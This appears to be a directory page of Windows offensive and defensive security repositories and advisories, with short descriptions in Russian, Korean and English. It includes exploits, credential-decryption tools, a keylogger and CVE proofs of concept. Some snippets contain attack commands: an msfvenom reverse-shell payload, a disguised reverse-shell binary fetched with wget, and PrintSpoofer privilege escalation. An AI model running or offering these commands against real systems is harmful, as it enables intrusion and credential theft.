zerologon

Zerologon Краткое описание Пакет обнаружения Zeek для CVE-2020-1472, также известного как Zerologon, который представляет собой уязвимость повышения привилегий с оценкой CVSS 10.0 в протоколе Netlogon для контроллеров доменов Windows Server. Уведомления По умолчанию срабатывают оба уведомления:...

hassh

"HASSH" - a Profiling Method for SSH Clients and Servers. NOTE: This Corelight repository was created so that it can be actively maintained, as per a request from Salesforce whose original repository is not being maintained. "HASSH" is a network fingerprinting standard which can be used to identi...

win-exp-

ОПИСАНИЕ Этот инструмент сравнивает уровни установленных обновлений целевой системы с базой данных уязвимостей Microsoft, чтобы обнаружить потенциально отсутствующие исправления на целевом узле. Он также уведомляет пользователя, если для отсутствующих бюллетеней безопасности доступны публичные...

SharpDecryptPwd

SharpDecryptPwd Инструмент для чтения паролей распространенных программ Windows: SharpDecryptPwd Использование SharpDecryptPwd.exe Author: Uknow Github: https://github.com/uknowsec/SharpDecryptPwd Reference: https://rcoil.me/2019/09/SharpDecryptPwd/ Usage: SharpDecryptPwd.exe -NavicatCrypto...

Cobaltstrike-MS17-010

Cobaltstrike Aggressor Script Инструмент эксплуатации и сканер ms17-010. 1. Скачайте файлы в корневую папку cobaltstrike. 2. Импортируйте "aggressor.cna" Инструменты эксплуатации ms17-010 поддерживают только win7 x64 и win2008 r2 pwn/Invoke-EternalBlue.ps1 из Empire getinfo/Invoke-EternalScan.ps1...

Security Bulletin: Security vulnerability affects the Windows GIM component as part of IBM Guardium Data Protection (CVE-2026-84891)

Summary Security vulnerability has been addressed in the Windows GIM component as part of IBM Guardium Data Protection Vulnerability Details CVEID:CVE-2026-84891 DESCRIPTION: IBM Guardium Data Protection could allow a remote attacker to obtain sensitive information due to use of hard-coded...

Security Bulletin: Multiple vulnerabilities affect the Windows S-TAP component as part of IBM Guardium Data Protection (CVE-2026-82344, CVE-2026-82334)

Summary Multiple vulnerabilities have been addressed in the Windows S-TAP component as part of IBM Guardium Data Protection Vulnerability Details CVEID:CVE-2026-82344 DESCRIPTION: IBM Security Guardium is vulnerable to a heap-based buffer overflow in the S-TAP TrafficTap TDS login reassembly...

CVE-2026-50369

CVE-2026-50369 воспроизведение состояния гонки TOCTOU в rdpcorets.dll!CRdpPipeGfxPlugin::Enable на узлах сеансов RDS Windows Server 2025. я сообщил об этом как о DoS; этот путь выполнения, по-видимому, также каким-то образом позволяет EoP. данный воспроизводитель является PoC только для пути DoS...

CVE-2026-92680

CVE-2026-92680 Proof of Concept Araxis Merge for Windows stores server credentials with DPAPI with pOptionalEntropy set to NULL. This allows any code running in the same user context to decrypt them. Full writeup: https://grepstrength.com/research/araxis-merge | ---|--- CVE| CVE-2026-92680 CWE|...

dpapi-toolkit

DPAPI-toolkit Автономный инструментарий для работы с артефактами Windows DPAPI. Вы собираете файлы, указываете инструменту артефакт, и он распознаёт формат и сообщает, какой именно мастер-ключ ему нужен; вы предоставляете ключевой материал, и он расшифровывает. Большинство инструментов для DPAPI ...

PrintSpoofer

PrintSpoofer Эксплойт PrintSpoofer, который можно использовать для повышения привилегий пользователя службы на Windows Server 2016, Server 2019 и Windows 10. Для повышения привилегий учетная запись службы должна иметь привилегии SeImpersonate. Для выполнения: PrintSpoofer.exe -i -c cmd При наличи...

Windows-Exploit-Suggester-Python3

Windows-Exploit-Suggester-Python3 python3 windows-exploit-suggester.py --update libreoffice --headless --convert-to xls 2021-07-15-mssb.xlsx python3 windows-exploit-suggester.py --database 2021-07-15-mssb.xls --systeminfo systeminfo.txt Пример : поэтому нам следует конвертировать xlsx в xls...

nim-reverse-shell

nim-reverse-shell nim-reverse-shell 예시: sudo apt install nim 이에 맞게 스크립트를 업데이트하세요 nim c -d:mingw --app:gui --opt:speed -o:spoofer-scheduler.exe reverse.nim python3 -m http.server 8888 wget http://tun0:8888/spoofer-scheduler.exe -o spoofer-scheduler.exe sc.exe stop spoofer-scheduler sc.exe start...

MS08-067

MS08-067 | CVE-2008-4250 Ссылка: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN Генерация шеллкода Мы будем использовать msfvenom для генерации шеллкода. msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443 EXITFUNC=thread -b...

windows_kernel_shadow_stack

Доказательства концепций Этот проект направлен на демонстрацию некоторых аспектов механизма защиты теневого стека, реализованного Microsoft в Windows 11. Код ориентирован конкретно на Windows 11 24H2. Он может не работать на других версиях Windows 11 из-за управления смещениями ядра. Проект...

keebcap

Keebcap Этот репозиторий содержит код, связанный с этой статьёй, в которой мы рассказываем о создании win32-кейлоггера, поддерживающего все языки, не использующие редакторы метода ввода. Все тесты проводились на Windows 10 22h2. Дерево . keylog code ├── capgks.c sample keylogger using GetKeyState...

Invoke-RunAsWithCert

Invoke-RunAsWithCert 도메인에 가입되지 않은 머신에서 Windows API를 통해 PKINIT 인증을 수행하는 PowerShell 스크립트입니다. 설명 이 cmdlet은 PKINIT를 통해 지정된 인증서로 새 로그온 세션을 생성합니다. 도메인에 가입되지 않은 VM에서 실행하도록 만들어졌습니다. 이 cmdlet에는 두 가지 모드가 있습니다. 하나는 레지스트리 키를 설정하는 모드이고, 다른 하나는 LSASS 메모리를 패치하여 도메인 컨트롤러의 인증서와 관련된 클라이언트 측 검사를 우회하는 모드입니다. 이러한 검사는...

FUCKER

FUCKER Windows-нативный фреймворк для пентестинга, написанный на Go. Модульная архитектура с движком принятия решений на базе ИИ API, совместимый с OpenAI. Сборка go build -ldflags="-X main.version=$git describe --tags" -o FUCKER.exe ./cmd/fucker/ Кросс-компиляция: GOOS=linux GOARCH=amd64 go buil...

CVE-2026-20841

CVE-2026-20841 PoC PoC уязвимости "Windows Notepad RCE". Отказ от ответственности 1. Я НЕ тот, кто обнаружил эту уязвимость. Респект оригинальным авторам, указанным на официальной странице раскрытия. Я просто воссоздал PoC по описанию. 2. Лично я не считаю, что эта уязвимость настолько серьезна,...

Hijack-service-binaries

Hijack-service-binaries 현재 사용자가 수정할 수 있는 Windows 서비스 바이너리를 식별하는 PowerShell 보안 감사 도구입니다—잠재적인 권한 상승 벡터입니다. 개요 이 스크립트는 모든 Windows 서비스system32 및 svchost 제외를 스캔하고 현재 사용자에게 서비스 실행 파일에 대한 Write, Modify 또는 FullControl 권한이 있는지 확인합니다. 위험한 권한이 감지되면 취약한 서비스에 대한 자세한 정보와 함께 사용자에게 경고합니다. 기능 🔍 시스템이 아닌 모든 Windows...